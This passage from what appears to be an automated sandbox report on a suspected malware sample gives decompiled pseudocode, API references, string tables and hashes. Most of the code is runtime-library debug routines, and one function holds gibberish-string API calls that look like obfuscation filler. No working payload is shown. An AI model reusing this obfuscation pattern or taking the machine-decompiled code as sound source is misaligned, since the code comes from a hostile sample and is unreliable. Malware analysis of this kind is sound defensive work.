						E0041E160(E0041DCE0(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00423010(_t210));
						 *(L00423010(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BF00( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041DBF0( *(L00423010(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00423010(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041E160(E0041DCE0(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00436F00(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041DBF0( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041E160(E0042DE00(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041E4C0(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x54b818;
						 *(_t263 - 0x5050) =  *0x54b818;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042CB55();
							goto L44;
						}
						_t240 =  *0x54b814;
						 *(_t263 - 0x504c) =  *0x54b814;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x54b810 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x54b810( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DFC0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041E160(E00436F30(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L00429860(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E0042CCBF();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BF30(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041E160(E00436F30(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C4C0(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c5be
0x0042c5cb
0x0042c678
0x0042c67e
0x0042c68f
0x0042c69a
0x0042c6b2
0x0042c6b9
0x0042c6be
0x0042c6c1
0x0042c6ce
0x0042c6f2
0x0042c6f7
0x0042c6f7
0x0042c6fa
0x0042c6ff
0x0042c705
0x0042c70e
0x0042c740
0x0042c745
0x0042c745
0x0042c70e
0x0042c74c
0x0042c752
0x0042c760
0x0042c754
0x0042c754
0x0042c754
0x0042c78c
0x0042c79c
0x0042c7a1
0x0042c7a1
0x0042c7d6
0x0042c7db
0x0042c7e2
0x0042c7e4
0x0042c7f1
0x0042c823
0x0042c828
0x0042c828
0x0042c84b
0x0042c85b
0x0042c860
0x0042c860
0x0042c867
0x0042c977
0x0042c97c
0x0042c86d
0x0042c86d
0x0042c87e
0x0042c889
0x0042c895
0x0042c896
0x0042c899
0x0042c8b4
0x0042c8b9
0x0042c8bc
0x0042c8c9
0x0042c8ed
0x0042c8f2
0x0042c8f2
0x0042c900
0x0042c909
0x0042c93b
0x0042c940
0x0042c940
0x0042c943
0x0042c97f
0x0042c989
0x0042c9a8
0x0042c9b7
0x0042c9de
0x0042c9e3
0x0042c9ed
0x0042ca1f
0x0042ca24
0x0042ca24
0x0042ca2e
0x0042ca3d
0x0042ca47
0x0042ca53
0x0042ca58
0x0042ca5b
0x0042ca62
0x0042ca68
0x0042ca7f
0x0042ca88
0x0042caa4
0x0042caad
0x0042caaf
0x0042cab4
0x0042ca79
0x00000000
0x0042ca79
0x0042cab6
0x0042cac6
0x00000000
0x0042cac6
0x0042cad7
0x0042cb47
0x0042cb47
0x0042cb4e
0x00000000
0x0042cb4e
0x0042cad9
0x0042cadf
0x0042caf6
0x0042caff
0x0042cb1b
0x0042cb24
0x0042cb26
0x0042cb2b
0x0042caf0
0x00000000
0x0042caf0
0x0042cb2d
0x0042cb3d
0x00000000
0x0042cb3d
0x00000000
0x0042cb60
0x0042cb60
0x0042cb67
0x0042cb74
0x0042cb76
0x0042cb80
0x0042cb92
0x0042cb98
0x0042cb9d
0x0042cb9f
0x0042cba9
0x0042cbaf
0x0042cbaf
0x0042cb9d
0x0042cbbc
0x0042cbcf
0x0042cbee
0x0042cbf3
0x0042cc09
0x0042cc09
0x0042cc1c
0x0042cc25
0x0042cc25
0x0042cc2b
0x0042cc38
0x0042cc3a
0x0042cc45
0x0042cc78
0x0042cc7d
0x0042cc7d
0x0042cc90
0x0042cc9f
0x0042ccab
0x0042ccab
0x0042cc38
0x0042cbbc
0x0042ccb1
0x0042ccb1
0x0042ccb8
0x0042ccd1
0x0042ccda
0x0042cce2
0x0042cce3
0x0042cce4
0x0042ccf2
0x0042ccf2
0x0042ca2e
0x0042c602
0x0042c60f
0x0042c619
0x0042c626
0x0042c61b
0x0042c61e
0x0042c61e
0x0042c630
0x0042c637
0x0042c642
0x0042c64f
0x0042c65a
0x0042c660
0x0042c665
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C5C3
__invoke_watson_if_error.LIBCMTD ref: 0042C602
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C60F
OutputDebugStringA.KERNEL32(004061D4), ref: 0042C637
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C642
OutputDebugStringA.KERNEL32(?), ref: 0042C64F
OutputDebugStringA.KERNEL32(004061C8), ref: 0042C65A
_wcscat_s.LIBCMTD ref: 0042C81A

Part of subcall function 004323A0: __invalid_parameter.LIBCMTD ref: 00432412

__invoke_watson_if_error.LIBCMTD ref: 0042C823

Part of subcall function 0041E160: __invoke_watson.LIBCMTD ref: 0041E181

_wcscat_s.LIBCMTD ref: 0042C852

Part of subcall function 004323A0: _memset.LIBCMT ref: 0043247B
Part of subcall function 004323A0: __invalid_parameter.LIBCMTD ref: 004324D7

__invoke_watson_if_error.LIBCMTD ref: 0042C85B
__snwprintf_s.LIBCMTD ref: 0042C8B4

Part of subcall function 0042BF00: __vsnprintf_s_l.LIBCMTD ref: 0042BF22

__invoke_watson_if_oneof.LIBCMTD ref: 0042C8ED
_wcscpy_s.LIBCMTD ref: 0042C932
__invoke_watson_if_error.LIBCMTD ref: 0042C93B
__cftoe.LIBCMTD ref: 0042C9AF
__invoke_watson_if_oneof.LIBCMTD ref: 0042C9DE
_wcscpy_s.LIBCMTD ref: 0042CA16
__invoke_watson_if_error.LIBCMTD ref: 0042CA1F
__itow_s.LIBCMTD ref: 0042C5F9

Part of subcall function 00436F30: _xtow_s@20.LIBCMTD ref: 00436F5B

__strftime_l.LIBCMTD ref: 0042C6B9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C6F2
_wcscpy_s.LIBCMTD ref: 0042C737
__invoke_watson_if_error.LIBCMTD ref: 0042C740
_wcscpy_s.LIBCMTD ref: 0042C793
__invoke_watson_if_error.LIBCMTD ref: 0042C79C
_wcscat_s.LIBCMTD ref: 0042C7CD
__invoke_watson_if_error.LIBCMTD ref: 0042C7D6

Strings

strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C77B
t9j, xrefs: 0042CC45
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C721
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C83C
_CrtDbgReport: String too long or IO Error, xrefs: 0042C726, 0042C921
_VCrtDbgReportA, xrefs: 0042C5DD, 0042C6DC, 0042C71C, 0042C776, 0042C7B0, 0042C7FF, 0042C837, 0042C8D7, 0042C917, 0042C9C9, 0042C9FB, 0042CC53
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C9CE
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C91C
t8j, xrefs: 0042C9ED
<file unknown>, xrefs: 0042C626
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C5E2, 0042CC58
Second Chance Assertion Failed: File , xrefs: 0042C60A
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042CA00
, Line , xrefs: 0042C63D
%s(%d) : %s, xrefs: 0042C89E
Assertion failed!, xrefs: 0042C760
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C5D8, 0042C6D7, 0042C717, 0042C771, 0042C7AB, 0042C7FA, 0042C832, 0042C8D2, 0042C912, 0042C9C4, 0042C9F6, 0042CC4E
(*_errno()), xrefs: 0042C6E1, 0042C8DC
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042CA05
Assertion failed: , xrefs: 0042C754
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C7B5
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C804

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: b2cec7752c4de7377aa44ca665bd47367517ca53030075ceea65d57df9881d52
Instruction ID: 3aeb77d765f24112090ca30f4ec65938e9aa96d58c1273c097e263c3235b5e8a
Opcode Fuzzy Hash: b2cec7752c4de7377aa44ca665bd47367517ca53030075ceea65d57df9881d52
Instruction Fuzzy Hash: 340294B4A40718ABDB20DF50DC46FDF7778AB04705F5041AAF6097A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419E1D, Relevance: 36.8, APIs: 13, Strings: 8, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 00419E33
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419E46
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419E64
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419E6E
GetProfileStringA.KERNEL32(yobahojicusenino,pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow,leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled,?,00000000), ref: 00419E8C
GetLastError.KERNEL32 ref: 00419E92
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419EAD
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00419EBC
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419ECD
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419EED
GetStartupInfoW.KERNEL32(?), ref: 00419EFA
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419F0E
GlobalUnWire.KERNEL32 ref: 00419F6C
GetProcessHeap.KERNEL32 ref: 00419FB8
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00419FC2
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419FD0
GetPriorityClass.KERNEL32(00000000), ref: 00419FD8

Strings

leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled, xrefs: 00419E7D
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419E5A
pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow, xrefs: 00419E82
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419E5F
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419EE8
u7, xrefs: 00419F14
yobahojicusenino, xrefs: 00419E87
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419E55

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorLastProcessWrite$CharacterClassCursorDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled$pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$yobahojicusenino$u7
API String ID: 1951985626-1659383190
Opcode ID: 2764b0a8d5f4f6d5fb484b4913754bda469e8ecf477db1e391d98edd9aaaae75
Instruction ID: 198dff054ec626a409e267bdcdae4f6a78ef2ae5d032efb83d55451ed662bf0a
Opcode Fuzzy Hash: 2764b0a8d5f4f6d5fb484b4913754bda469e8ecf477db1e391d98edd9aaaae75
Instruction Fuzzy Hash: 20314C75940258EFDB10CB90DE49FD977B9EB04706F5040A6F249F60A0C7B85AC5CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004351F9, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E004351F9(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E004285E0(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E004285E0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E004285E0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E004285E0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00428600(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00428600(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00430A00(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E00430A80( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C6E0( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M004357E0))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E00431490( *(_t701 - 0x251) & 0x000000ff, E0041AFF0(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00428500( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00428500( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E520();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00423010(_t616))) = 0x16;
																									E00422DA0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041AFC0(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
